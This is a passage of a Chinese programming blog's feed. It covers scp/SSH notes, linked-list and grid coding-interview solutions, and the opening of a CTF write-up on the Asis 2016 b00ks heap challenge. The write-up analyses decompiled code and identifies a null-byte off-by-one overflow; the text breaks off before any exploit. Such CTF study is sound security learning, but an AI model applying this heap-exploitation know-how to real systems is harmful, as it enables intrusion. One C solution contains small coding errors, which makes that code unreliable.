class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">scp [-12BCpqrv] [-l limit] [-o ssh_option] [-P port] [[user@]host1:]src_file ... [[user@]host2:]dest_file</span><br><span class="line"></span><br><span class="line">选项说明：</span><br><span class="line">-1：使用ssh v1版本，这是默认使用协议版本</span><br><span class="line">-2：使用ssh v2版本</span><br><span class="line">-C：拷贝时先压缩，节省带宽</span><br><span class="line">-l limit：限制拷贝速度，Kbit/s，1Byte=8bit，所以"-l 800"表示的速率是100K/S</span><br><span class="line">-o ssh_option：指定ssh连接时的特殊选项，一般用不上。</span><br><span class="line">-P port：指定目标主机上ssh端口，大写的字母P，默认是22端口</span><br><span class="line">-p：拷贝时保持源文件的mtime,atime,owner,group,privileges</span><br><span class="line">-r：递归拷贝，用于拷贝目录。注意，scp拷贝遇到链接文件时，会拷贝链接的源文件内容填充到目标文件中(scp的本质就是填充而非拷贝)</span><br><span class="line">-v：输出详细信息，可以用来调试或查看scp的详细过程，分析scp的机制</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="基础"><a href="#基础" class="headerlink" title="基础"></a>基础</h3><ul>
<li>ssh是一个基于传输层和应用层的安全协议，它使用对称密钥来进行会话之间加密，使用非对称密钥来进行身份的验证（关于密钥相关的知识在“运维安全基础”里已经做了基本介绍）</li>
<li>ssh服务端守护进程为sshd，默认监听在22端口，一般安全起见可以通过配置文件修改</li>
<li>ssh验证过程主要分为主机认证和身份认证两方面。主机认证用于记录连接主机的身份，可以记录每个主机连接多少个用户；身份认证一般通过公钥私钥的非对称密钥进行通信确认。</li>
<li>ssh客户端配置文件为/etc/ssh/ssh_config，服务端配置文件为/etc/ssh/sshd_config</li>
<li>做ssh服务端时，会有服务端自己的私钥和公钥用于建立连接使用，存放在/etc/ssh目录下，最下面两个即为用于连接认证的公钥和私钥。</li>
<li>ssh执行后在对端开启一个伪终端来执行后续操作，如果身份认证不能使用伪终端，那么认证会失败。</li></ul>
</summary>
<category term="Linux" scheme="http://yoursite.com/categories/Linux/"/>
<category term="ssh" scheme="http://yoursite.com/tags/ssh/"/>
<category term="scp" scheme="http://yoursite.com/tags/scp/"/>
</entry>
<entry>
<title>13链表中倒数第k个指针</title>
<link href="http://yoursite.com/2020/02/28/13%E9%93%BE%E8%A1%A8%E4%B8%AD%E5%80%92%E6%95%B0%E7%AC%ACk%E4%B8%AA%E6%8C%87%E9%92%88/"/>
<id>http://yoursite.com/2020/02/28/13%E9%93%BE%E8%A1%A8%E4%B8%AD%E5%80%92%E6%95%B0%E7%AC%ACk%E4%B8%AA%E6%8C%87%E9%92%88/</id>
<published>2020-02-28T07:58:38.000Z</published>
<updated>2020-02-28T07:59:54.404Z</updated>
<content type="html"><![CDATA[<h3 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h3><p>输入一个链表，输出该链表中倒数第k个节点。为了符合大多数人的习惯，本题从1开始计数，即链表的尾节点是倒数第1个节点。例如，一个链表有6个节点，从头节点开始，它们的值依次是1、2、3、4、5、6。这个链表的倒数第3个节点是值为4的节点。</p><a id="more"></a><p><strong>示例：</strong></p><p>给定一个链表: </p><p><code>1->2->3->4->5, 和 k = 2.</code></p><p>返回链表 </p><p><code>4->5.</code></p><h3 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span><span class="params">(object)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">getKthFromEnd</span><span class="params">(self, head, k)</span>:</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> :type head: ListNode</span></span><br><span class="line"><span class="string"> :type k: int</span></span><br><span class="line"><span class="string"> :rtype: ListNode</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> head: <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"> p1=head</span><br><span class="line"> p2=head</span><br><span class="line"> <span class="keyword">for</span> _ <span class="keyword">in</span> range(k):</span><br><span class="line"> <span class="keyword">if</span> p1:</span><br><span class="line"> p1=p1.next</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"> <span class="keyword">while</span> p1:</span><br><span class="line"> p1=p1.next</span><br><span class="line"> p2=p2.next</span><br><span class="line"> <span class="keyword">return</span> p2</span><br></pre></td></tr></table></figure><h3 id="C"><a href="#C" class="headerlink" title="C"></a>C</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ListNode</span> {</span></span><br><span class="line"><span class="keyword">int</span> val;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ListNode</span> *<span class="title">next</span>;</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function">struct ListNode* <span class="title">getKthFromEnd</span><span class="params">(struct ListNode* head, <span class="keyword">int</span> k)</span></span>{</span><br><span class="line"><span class="keyword">if</span>(head==<span class="literal">NULL</span>)</span><br><span class="line"> <span class="keyword">return</span> head;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">ListNode</span>* <span class="title">p1</span>=<span class="title">head</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">ListNode</span>* <span class="title">p2</span>=<span class="title">head</span>;</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i<k;i++)</span><br><span class="line"> {</span><br><span class="line"> p1=p1->next;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span>(p1)</span><br><span class="line"> {</span><br><span class="line"> p1=p1->next;</span><br><span class="line"> p2=p2->next;</span><br><span class="line">}</span><br><span class="line"> <span class="keyword">return</span> p2;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h3><p>输入一个链表，输出该链表中倒数第k个节点。为了符合大多数人的习惯，本题从1开始计数，即链表的尾节点是倒数第1个节点。例如，一个链表有6个节点，从头节点开始，它们的值依次是1、2、3、4、5、6。这个链表的倒数第3个节点是值为4的节点。</p>
</summary>
<category term="剑指offer" scheme="http://yoursite.com/categories/%E5%89%91%E6%8C%87offer/"/>
</entry>
<entry>
<title>12反转链表</title>
<link href="http://yoursite.com/2020/02/28/12%E5%8F%8D%E8%BD%AC%E9%93%BE%E8%A1%A8/"/>
<id>http://yoursite.com/2020/02/28/12%E5%8F%8D%E8%BD%AC%E9%93%BE%E8%A1%A8/</id>
<published>2020-02-28T07:58:00.000Z</published>
<updated>2020-02-28T07:59:50.897Z</updated>
<content type="html"><![CDATA[<h3 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h3><p>定义一个函数，输入一个链表的头节点，反转该链表并输出反转后链表的头节点。</p><a id="more"></a><p><strong>示例:</strong></p><p><strong>输入:</strong> </p><p><code>1->2->3->4->5->NULL</code></p><p><strong>输出:</strong> </p><p><code>5->4->3->2->1->NULL</code></p><p><strong>限制：</strong></p><p><code>0 <= 节点个数 <= 5000</code></p><h3 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ListNode</span><span class="params">(object)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, x)</span>:</span></span><br><span class="line"> self.val = x</span><br><span class="line"> self.next = <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span><span class="params">(object)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">reverseList</span><span class="params">(self, pHead)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> pHead:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"> head = ListNode(<span class="number">0</span>)</span><br><span class="line"> head.next = pHead</span><br><span class="line"> p = pHead</span><br><span class="line"> <span class="keyword">while</span> p.next: <span class="comment"># 当前节点</span></span><br><span class="line"> tp = p.next <span class="comment"># 下一个节点</span></span><br><span class="line"> p.next = p.next.next <span class="comment"># 当前节点后移</span></span><br><span class="line"> tp.next = head.next <span class="comment"># 下一个节点的下一个是头节点的下一个</span></span><br><span class="line"> head.next = tp <span class="comment"># 头节点的下一个是下一个节点</span></span><br><span class="line"> <span class="keyword">return</span> head.next</span><br></pre></td></tr></table></figure><h3 id="C"><a href="#C" class="headerlink" title="C"></a>C</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ListNode</span> {</span></span><br><span class="line"><span class="keyword">int</span> val;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ListNode</span> *<span class="title">next</span>;</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="function">struct ListNode* <span class="title">reverseList</span><span class="params">(struct ListNode* head)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> (head == <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">ListNode</span> *<span class="title">newhead</span> = <span class="title">head</span>;</span></span><br><span class="line"> head = head->next;</span><br><span class="line"> newhead->next = <span class="literal">NULL</span>; <span class="comment">// 避免造成循环</span></span><br><span class="line"> <span class="keyword">while</span> (head != <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">ListNode</span> *<span class="title">node</span> = <span class="title">head</span>-><span class="title">next</span>;</span></span><br><span class="line"></span><br><span class="line"> head->next = newhead; <span class="comment">// 前插</span></span><br><span class="line"> newhead = head; <span class="comment">// newhead重新指向新的头结点</span></span><br><span class="line"></span><br><span class="line"> head = node;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> newhead;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h3><p>定义一个函数，输入一个链表的头节点，反转该链表并输出反转后链表的头节点。</p>
</summary>
<category term="剑指offer" scheme="http://yoursite.com/categories/%E5%89%91%E6%8C%87offer/"/>
</entry>
<entry>
<title>11机器人的运动范围</title>
<link href="http://yoursite.com/2020/02/28/11%E6%9C%BA%E5%99%A8%E4%BA%BA%E7%9A%84%E8%BF%90%E5%8A%A8%E8%8C%83%E5%9B%B4/"/>
<id>http://yoursite.com/2020/02/28/11%E6%9C%BA%E5%99%A8%E4%BA%BA%E7%9A%84%E8%BF%90%E5%8A%A8%E8%8C%83%E5%9B%B4/</id>
<published>2020-02-28T07:57:19.000Z</published>
<updated>2020-02-28T07:59:47.789Z</updated>
<content type="html"><![CDATA[<h3 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h3><p>地上有一个m行n列的方格，从坐标 [0,0] 到坐标 [m-1,n-1] 。一个机器人从坐标 [0, 0] 的格子开始移动，它每次可以向左、右、上、下移动一格（不能移动到方格外），也不能进入行坐标和列坐标的数位之和大于k的格子。例如，当k为18时，机器人能够进入方格 [35, 37] ，因为3+5+3+7=18。但它不能进入方格 [35, 38]，因为3+5+3+8=19。请问该机器人能够到达多少个格子？</p><a id="more"></a><p><strong>示例 1：</strong></p><p><strong>输入：</strong></p><p><code>m = 2, n = 3, k = 1</code></p><p><strong>输出：</strong></p><p><code>3</code></p><p><strong>示例 2：</strong></p><p><strong>输入：</strong></p><p><code>m = 3, n = 1, k = 0</code></p><p><strong>输出：</strong></p><p><code>1</code></p><p><strong>提示：</strong></p><p><code>1 <= n,m <= 100</code><br><code>0 <= k <= 20</code></p><h3 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#与矩阵那题类似，DFS函数用于统计可以走多少次，cal函数用于计算是否可以进入方格</span></span><br><span class="line"><span class="comment">#由于要统计可以走的步数，因此不返回True和False而是返回0并且成功就+1</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span><span class="params">(object)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">movingCount</span><span class="params">(self, m, n, k)</span>:</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> :type m: int</span></span><br><span class="line"><span class="string"> :type n: int</span></span><br><span class="line"><span class="string"> :type k: int</span></span><br><span class="line"><span class="string"> :rtype: int</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> visited=[[<span class="literal">False</span> <span class="keyword">for</span> _ <span class="keyword">in</span> range(n)] <span class="keyword">for</span> _ <span class="keyword">in</span> range(m)]</span><br><span class="line"> <span class="keyword">return</span> self.DFS(<span class="number">0</span>,<span class="number">0</span>,m,n,visited,k)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">DFS</span><span class="params">(self,i,j,m,n,visited,k)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> i < <span class="number">0</span> <span class="keyword">or</span> i >= m <span class="keyword">or</span> j < <span class="number">0</span> <span class="keyword">or</span> j >= n <span class="keyword">or</span> self.cal(i) + self.cal(j) > k <span class="keyword">or</span> visited[i][j] == <span class="literal">True</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"> visited[i][j]=<span class="literal">True</span></span><br><span class="line"> <span class="keyword">return</span> self.DFS(i<span class="number">-1</span>,j,m,n,visited,k)+self.DFS(i,j<span class="number">-1</span>,m,n,visited,k)+self.DFS(i+<span class="number">1</span>,j,m,n,visited,k)+self.DFS(i,j+<span class="number">1</span>,m,n,visited,k)+<span class="number">1</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">cal</span><span class="params">(self,num)</span>:</span></span><br><span class="line"> total=<span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span> num > <span class="number">0</span>:</span><br><span class="line"> total+=num%<span class="number">10</span></span><br><span class="line"> num//=<span class="number">10</span></span><br><span class="line"> <span class="keyword">return</span> total</span><br></pre></td></tr></table></figure><h3 id="C"><a href="#C" class="headerlink" title="C"></a>C</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">movingCount</span><span class="params">(<span class="keyword">int</span> m, <span class="keyword">int</span> n, <span class="keyword">int</span> k)</span></span>{</span><br><span class="line"><span class="keyword">bool</span> visited[<span class="number">1000</span>][<span class="number">1000</span>];</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i<n;i++){</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> j=<span class="number">0</span>;j<m;j++)</span><br><span class="line"> visited[i][j]=<span class="literal">false</span>;</span><br><span class="line">}</span><br><span class="line"> <span class="keyword">return</span> DFS(<span class="number">0</span>,<span class="number">0</span>,m,n,visited,k);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">cal</span><span class="params">(<span class="keyword">int</span> num)</span></span>{</span><br><span class="line"> <span class="keyword">int</span> total=<span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span>(num><span class="number">0</span>){</span><br><span class="line"> total+=num%<span class="number">10</span>;</span><br><span class="line"> num/=<span class="number">10</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> total;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">DFS</span><span class="params">(<span class="keyword">int</span> i,<span class="keyword">int</span> j, <span class="keyword">int</span> m, <span class="keyword">int</span> n, <span class="keyword">bool</span>** visited, <span class="keyword">int</span> k)</span></span>{</span><br><span class="line"> <span class="keyword">if</span>(i<<span class="number">0</span> || i>=m || j<<span class="number">0</span> || j>=n || cal(i)+cal(j)>k || visited[i][j]==<span class="literal">true</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> visited[i][j]=<span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">return</span> DFS(i<span class="number">-1</span>,j,m,n,visited,k)+DFS(i,j<span class="number">-1</span>,m,n,visited,k)+DFS(i+<span class="number">1</span>,j,m,n,visited,k)+DFS(i,j+<span class="number">1</span>,m,n,visited,k)+<span class="number">1</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h3><p>地上有一个m行n列的方格，从坐标 [0,0] 到坐标 [m-1,n-1] 。一个机器人从坐标 [0, 0] 的格子开始移动，它每次可以向左、右、上、下移动一格（不能移动到方格外），也不能进入行坐标和列坐标的数位之和大于k的格子。例如，当k为18时，机器人能够进入方格 [35, 37] ，因为3+5+3+7=18。但它不能进入方格 [35, 38]，因为3+5+3+8=19。请问该机器人能够到达多少个格子？</p>
</summary>
<category term="剑指offer" scheme="http://yoursite.com/categories/%E5%89%91%E6%8C%87offer/"/>
</entry>
<entry>
<title>Asis 2016 b00ks</title>
<link href="http://yoursite.com/2020/02/27/Asis-2016-b00ks/"/>
<id>http://yoursite.com/2020/02/27/Asis-2016-b00ks/</id>
<published>2020-02-26T16:28:58.000Z</published>
<updated>2020-02-26T16:29:53.003Z</updated>
<content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>许久没有练习pwn题了，今天拿一道堆题练练手，漏洞点在Null byte off-by-one以及unlink。</p><p>题目来源(包括exp)：Asis CTF 2016 <a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks" target="_blank" rel="noopener">b00ks</a></p><a id="more"></a><h3 id="检查保护"><a href="#检查保护" class="headerlink" title="检查保护"></a>检查保护</h3><p>64位小端序程序，除了canary保护全开。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Arch: amd64-64-little</span><br><span class="line"> RELRO: Full RELRO</span><br><span class="line"> Stack: No canary found</span><br><span class="line"> NX: NX enabled</span><br><span class="line"> PIE: PIE enabled</span><br></pre></td></tr></table></figure><h3 id="程序流程"><a href="#程序流程" class="headerlink" title="程序流程"></a>程序流程</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#首先打印出欢迎字段并要求输入用户名</span></span><br><span class="line">Welcome to ASISCTF book library</span><br><span class="line">Enter author name:</span><br><span class="line"></span><br><span class="line"><span class="comment">#之后打印出常见的菜单程序，包括创建、删除、编辑、打印、改变用户名，注意有打印就可能存在方便泄露的地方</span></span><br><span class="line">1. Create a book</span><br><span class="line">2. Delete a book</span><br><span class="line">3. Edit a book</span><br><span class="line">4. Print book detail</span><br><span class="line">5. Change current author name</span><br><span class="line">6. Exit</span><br><span class="line">></span><br></pre></td></tr></table></figure><h4 id="创建"><a href="#创建" class="headerlink" title="创建"></a>创建</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#可见需要我们输入书名，可自定义大小，但最大32字符</span></span><br><span class="line"><span class="comment">#允许输入描述信息大小，好像没限制大小，在汇编看看</span></span><br><span class="line">Enter book name size: 10</span><br><span class="line">Enter book name (Max 32 chars): aaaa</span><br><span class="line"></span><br><span class="line">Enter book description size: 10</span><br><span class="line">Enter book description: aaa</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//发现并没有限制描述大小</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"\nEnter book description size: "</span>, *(_QWORD *)&v1);</span><br><span class="line"> __isoc99_scanf(<span class="string">"%d"</span>, &v1);</span><br><span class="line"></span><br><span class="line"><span class="comment">//book结构体，存放在bss段的数组中</span></span><br><span class="line"><span class="keyword">if</span> ( v3 )</span><br><span class="line">{</span><br><span class="line"> *((_DWORD *)v3 + <span class="number">6</span>) = v1;<span class="comment">//描述信息大小，注意此处DWORD+6=QWORD+3，2*6=3*4</span></span><br><span class="line"> *((_QWORD *)off_202010 + v2) = v3;<span class="comment">//bss上数组保存当前malloc地址，即存储book结构体数组</span></span><br><span class="line"> *((_QWORD *)v3 + <span class="number">2</span>) = v5;<span class="comment">//描述信息，malloc的地址</span></span><br><span class="line"> *((_QWORD *)v3 + <span class="number">1</span>) = ptr;<span class="comment">//书名，malloc的地址</span></span><br><span class="line"> *(_DWORD *)v3 = ++unk_202024;<span class="comment">//序号</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0L</span>L;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//值得注意的是它所有的内容输入都通过一个自定义函数实现，末尾边界处存在溢出</span></span><br><span class="line"><span class="comment">//看出for循环下标从0开始，而当输入为换行或者下标等于a2时退出，此处a2为输入大小-1，但是由于从0开始导致下标为31时已经输入了32个字符，且最后一个*buf = 0导致溢出了一个null字符。</span></span><br><span class="line"><span class="comment">//注意输入Auther时a2为32，说明此时可以输入33个</span></span><br><span class="line"><span class="keyword">signed</span> __int64 __<span class="function">fastcall <span class="title">sub_9F5</span><span class="params">(_BYTE *a1, <span class="keyword">int</span> a2)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> i; <span class="comment">// [rsp+14h] [rbp-Ch]</span></span><br><span class="line"> _BYTE *buf; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( a2 <= <span class="number">0</span> )</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0L</span>L;</span><br><span class="line"> buf = a1;</span><br><span class="line"> <span class="keyword">for</span> ( i = <span class="number">0</span>; ; ++i )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> <span class="keyword">int</span>)<span class="built_in">read</span>(<span class="number">0</span>, buf, <span class="number">1u</span>LL) != <span class="number">1</span> )</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1L</span>L;</span><br><span class="line"> <span class="keyword">if</span> ( *buf == <span class="string">'\n'</span> )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> ++buf;</span><br><span class="line"> <span class="keyword">if</span> ( i == a2 )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> *buf = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0L</span>L;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="删除"><a href="#删除" class="headerlink" title="删除"></a>删除</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">2</span><br><span class="line">Enter the book id you want to delete: 1</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//free后都置null了，暂时没有UAF等利用</span></span><br><span class="line"><span class="keyword">if</span> ( i != <span class="number">20</span> )</span><br><span class="line">{</span><br><span class="line"> <span class="built_in">free</span>(*(<span class="keyword">void</span> **)(*((_QWORD *)off_202010 + i) + <span class="number">8L</span>L));<span class="comment">//书名</span></span><br><span class="line"> <span class="built_in">free</span>(*(<span class="keyword">void</span> **)(*((_QWORD *)off_202010 + i) + <span class="number">16L</span>L));<span class="comment">//描述信息</span></span><br><span class="line"> <span class="built_in">free</span>(*((<span class="keyword">void</span> **)off_202010 + i));<span class="comment">//释放当前块</span></span><br><span class="line"> *((_QWORD *)off_202010 + i) = <span class="number">0L</span>L;<span class="comment">//置0</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0L</span>L;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="编辑"><a href="#编辑" class="headerlink" title="编辑"></a>编辑</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#编辑可以用来修改描述信息</span></span><br><span class="line">3</span><br><span class="line">Enter the book id you want to edit: 1</span><br><span class="line">Enter new book description: bbb</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">"Enter new book description: "</span>, &v1);</span><br><span class="line"><span class="keyword">if</span> ( !(<span class="keyword">unsigned</span> <span 